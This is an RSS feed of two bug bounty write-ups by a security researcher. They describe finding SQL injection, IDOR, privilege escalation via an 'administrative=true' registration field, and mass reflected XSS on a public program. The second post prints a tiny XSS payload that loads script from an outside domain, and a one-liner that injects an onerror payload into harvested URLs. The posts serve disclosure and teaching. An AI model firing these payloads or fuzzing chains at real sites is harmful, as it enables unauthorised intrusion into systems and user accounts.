<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Takshal(tojojo) on Medium]]></title>
        <description><![CDATA[Stories by Takshal(tojojo) on Medium]]></description>
        <link>https://medium.com/@takshalpentester?source=rss-a49c8b08b792------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*WLir7fOQr75n92H-84o-2g.jpeg</url>
            <title>Stories by Takshal(tojojo) on Medium</title>
            <link>https://medium.com/@takshalpentester?source=rss-a49c8b08b792------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 02:47:28 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@takshalpentester/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Discovered Over 40+ Impactful Vulnerabilities Within 1 Hour, Just for Fun!]]></title>
            <link>https://medium.com/@takshalpentester/how-i-discovered-over-40-impactful-vulnerabilities-within-1-hour-just-for-fun-a26eeaa75461?source=rss-a49c8b08b792------2</link>
            <guid isPermaLink="false">https://medium.com/p/a26eeaa75461</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Takshal(tojojo)]]></dc:creator>
            <pubDate>Sun, 13 Aug 2023 08:06:32 GMT</pubDate>
            <atom:updated>2023-08-13T08:06:32.152Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, I’m Takshal, aka tojojo. I hope you all are doing well. Today, I’m excited to share my journey of finding more than 40+ impactful vulnerabilities in a well-known bug bounty platform public program within just one hour. In this article, I will Deep dive into my approach of findings multiple vulnerability in a program.</p><blockquote><strong>Recap</strong></blockquote><p>My story begins a few months back when I wasn’t actively participating in bug hunting on any platform. My past experiences with a popular platform had left me disheartened as my reports were often marked as not applicable or informative, leading me to doubt my skills. Consequently,I preferred hunting on private internet programs. However, a few days ago, I had a conversation with my friend Nitin, who was actively hunting on a similar platform. He shared a similar story of discouraging responses. while searching for program to show my skills to our batch, i went through a program that is running on bug bounty platform and having wild card scope in it.</p><blockquote><strong>Recon</strong></blockquote><p>1.Subdomain enumuration — Assetfinder,CT logs(ctfr)<br>2.content Discovery — FFUF, Waybackurls<br>3.Probing/Live host — Httprobe<br>4.search engine dorking</p><blockquote><strong>Methodology</strong></blockquote><p>Let’s Jump into main part, we will refer our target as “*.abc.com”, After having recon,I jump into some interesting subdomains(stage-dev.abc.com,staging.abc.com,api-staging.abc.com),where i found an endpoint labelled infoType=”DATA SET” and ID=”1234&quot;. My initial thought was to test for SQL injection, but it didn’t yield any results because they have implemented some kind mitigation for both sql and xss we can defiantly try to bypass this but i have to check other endpoint as well so i move on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*btGOoJ62-i_bvzpR_8xzMg.png" /></figure><p>Further investigation revealed that the website used the “.cfm” extension, which indicated “ColdFusion Markup”. Recognizing this, I decided to attempt a Directory Traversal attack, and it turned out to<br>be successful. Although I continued to explore the subdomain, my efforts didn’t lead to more endpoints using FFUF. Resorting to “waybackurls”, I got some new additional endpoints.</p><p>In which my main focus encountered on these two endpoints: “Register.cfm and Login.cfm”. I decided to register an account and leveraged Burp Suite to experiment with the register parameter. which lead to the discovery of several stored self XSS vulnerabilities, to escalate this further, I found an interesting parameter which is vulnerable to insecure direct object reference(idor) which is responsible for giving the profile information of other user. My curiosity persisted, prompting me to investigate further,I speculated that if the website updated information based on the ID parameter, a SQL injection might be possible. My SQL injection payload on the ID parameter yielded success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bw8KQ_NhZDfRV7IuDC2rqA.png" /></figure><p>Additionally, I explored other available user information, uncovering high-privilege roles. By registering with the “administrative=true” parameter, I managed to attain admin privileges. My exploration also unveiled another IDOR, PII leak, and a critical action CSRF vulnerability.</p><p>In total, I identified over 20+ security issues, including SQL injection, ATO (Account Takeover),Priv esc, XSS, CSRF, and PII leaks.I continued my google dorking search for more subdomain on the same program. My pursuit led me to “fs.xyz.abc.com.” While attempting to access this subdomain,I was redirected to a login page. I initiated directory brute-forcing and performed Google dorking, revealing access to certain documents and text files.</p><p>This exposure lead to the discovery of yet another PII leak and configuration file information.Driven by curiosity, to further investigate on the target more could be achieved with portal access. A simple attempt with the credentials “admin:admin” resulted in an invalid login error, with a cheeky prompt to register.Following this, I registered and explored further parameters, uncovering additional IDOR, CSRF, and XSS vulnerabilities.</p><p>After sharing my experiences with my friend, he was impressed by my parameter observation skills. He encouraged me to participate in bug bounty programs, but I smiled and explained that I didn’t want to jeopardize my self-confidence or risk burnout. I expressed my contentment with hunting on private websites.</p><p>The moral of my story is simple: Engage in thorough reconnaissance, gather abundant information, and meticulously experiment with available parameters.</p><p>Happy hunting tojojo!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a26eeaa75461" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I was able to find 50+ Cross-site scripting (XSS) Security Vulnerabilities on Bugcrowd Public…]]></title>
            <link>https://infosecwriteups.com/how-i-was-able-to-find-50-cross-site-scripting-xss-security-vulnerabilities-on-bugcrowd-public-ba33db2b0ab1?source=rss-a49c8b08b792------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba33db2b0ab1</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Takshal(tojojo)]]></dc:creator>
            <pubDate>Wed, 16 Mar 2022 11:58:47 GMT</pubDate>
            <atom:updated>2022-03-17T16:09:53.826Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>How I was able to find 50+ Cross-site scripting (XSS) Security Vulnerabilities on Bugcrowd Public Program?</strong></h3><p>Hello everyone, I hope by the grace of God everyone who is reading this blog post is doing well and their families during this pandemic. Let me introduce myself to everyone here. I am Takshal also known as <strong>tojojo</strong>, a cybersecurity researcher and a developer from India. I am having an experience of 3+ years in the Information Security Industry and I also have my YouTube Channel in the name of Tojojo the link to the channel will be at the end of this blog post. This is my first blog post so I would request everyone that if there were any mistake with my grammar or the spelling, please do forgive me on that So let me start the topic of how I was able to find 50+ Security vulnerabilities (Cross Site Scripting) in a public program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MF2WlStCpAnCg15IHTgj_w.png" /></figure><p>So I recently decided to explore more about our industry so the best way to start was Bug Bounty Hunting on a famous online platform known as BugCrowd after the registration process and later on to begin with the hunting I had to choose a public program after going through multiple program I was able to find the target with a wildcard domain for the security reasons let’s call the domain name as <a href="http://abc.com/">abc.com</a>.</p><p>After selecting the target domain, I had to do Recon on the domain with the help of different tools and techniques as I really enjoy doing the recon part. The tools which were used during this process are:</p><ol><li>AssetFinder</li><li>SubFinder</li><li>Amass</li><li>Find-domain</li><li>Google Dorking</li></ol><p>(Note: These tools are used to find the sub-domain of the target)</p><p>After running the tools, I was able to gather the information of 576 Sub-domain list. The Next process was to find the number of sub-domains which are active, for this process we nowadays all the hunters use HTTPX, which is a bit faster for the results, but I would prefer using<strong> httprobe</strong> a tool which is made by a Security researcher Tomnomnom. As I am a huge fan of Tomnomnom for his work and he has always kept me and others motivated to learn more about our industry.</p><p>Both the tools have their own algorithm to identify any open port in the sub-domain to identify the open ports in the target with the help of httprobe the command was used:</p><p><strong>cat subdomains.txt | httprobe | tee -a host.txt</strong></p><p>After the probing process I was able to find 260 alive host and to reconfirm I had to manually check all the running hosts with the help of Open Multiple URLs extension by TP developer, to check all the available different functionality in the hosts, also parallelly I started to perform Google-dorking technique with the help of google-dorking I was able to find some of the login pages of the target sub-domain. So, I decided to check the login functionality over there I was able to find a sub-domain lets name it as xyz.abc.com. Where I was able to find the signup page after completing the signup process, I started to look around with all the functions available in that sub-domain. After going through everything I was able to find a vulnerable endpoint in the URL where I was able to perform html injection. But I was able to inject only a 20-character payload of the html injection. I had to spend around 2days in converting the html injection payload into a cross-site scripting payload to exploit the high impact vulnerability the payload which was used to exploit it was a very tiny xss payload:</p><p><strong>&lt;script/src=//Ǌ.₨&gt;&lt;/script&gt;</strong></p><p>After entering the payload, I was able to exploit the vulnerable endpoint which lead to Cross-site scripting (XSS). After examine everything I took the POC (Proof-of-Concept) and prepared a report and submitted to the BugCrowd platform.</p><p>Later, after submitting the report there was no repose from there end and they fixed the vulnerability silently without informing me and marked my report as NA (Not Applicable).</p><p>After this incident I was very much depressed and disappointed started to get negative vibes also I started doubting upon my skills which affected both my personal and professional life later on I decided to trust myself and my skill sets which I had been working since 3 years so I return back with my own developed tools to the same platform and the same target program to show them my skills this time using the tool developed by me a custom Crawler script and with the help of waybackurl script I was able to extract more than 50,00,000/- (Fifty lakh) Endpoint information in all the sub-domains of the target abc.com. The commands used were:</p><p><strong>cat host.txt | crawler | tee -a endpoint.txt<br> cat host.txt | waybackurl | tee -a endpoint.txt</strong></p><p>After finding all the 50 Lakh endpoint I started to fuzz all the parameters to find xss vulnerability with the help of the tool <strong>qsreplace. </strong>The command used was:</p><p><strong>cat endpoint.txt | qsreplace ‘“&gt;&lt;img src=x onerror=alert(1)&gt; | tee -a xss_fuzz.txt</strong></p><p>After executing the command now, I had to check the number of parameters have been reflecting our payload into a plain text weather or not, So I created a tool named <strong>FREQ</strong> which is also available in my GitHub repo. So, the tool sends multiple requests to the check whether the response containing the payload return us with the affected URLs. The command used to perform this attack was:</p><p><strong>cat xss_fuzz.txt | freq | tee -a possible_xss.txt</strong></p><p>After the compilation of the attack, I was able to find <strong>one thousand</strong> endpoints which is reflecting the payload in the form of clear Text. So, I had to go through all the affected endpoints again manually in I was able to find a unique 80 XSS vulnerability and I reported around 56 xss vulnerability and all the reported vulnerability are accepted by the platform. Still number of other xss reports are pending.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*CHuOlCk5clabIUYEhlr_XA.png" /></figure><p>Thank you everyone for making time and going through my blog post and I am sorry if there are any grammatical mistakes in the blog.</p><p>Happy hacking tojojo.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba33db2b0ab1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-was-able-to-find-50-cross-site-scripting-xss-security-vulnerabilities-on-bugcrowd-public-ba33db2b0ab1">How I was able to find 50+ Cross-site scripting (XSS) Security Vulnerabilities on Bugcrowd Public…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>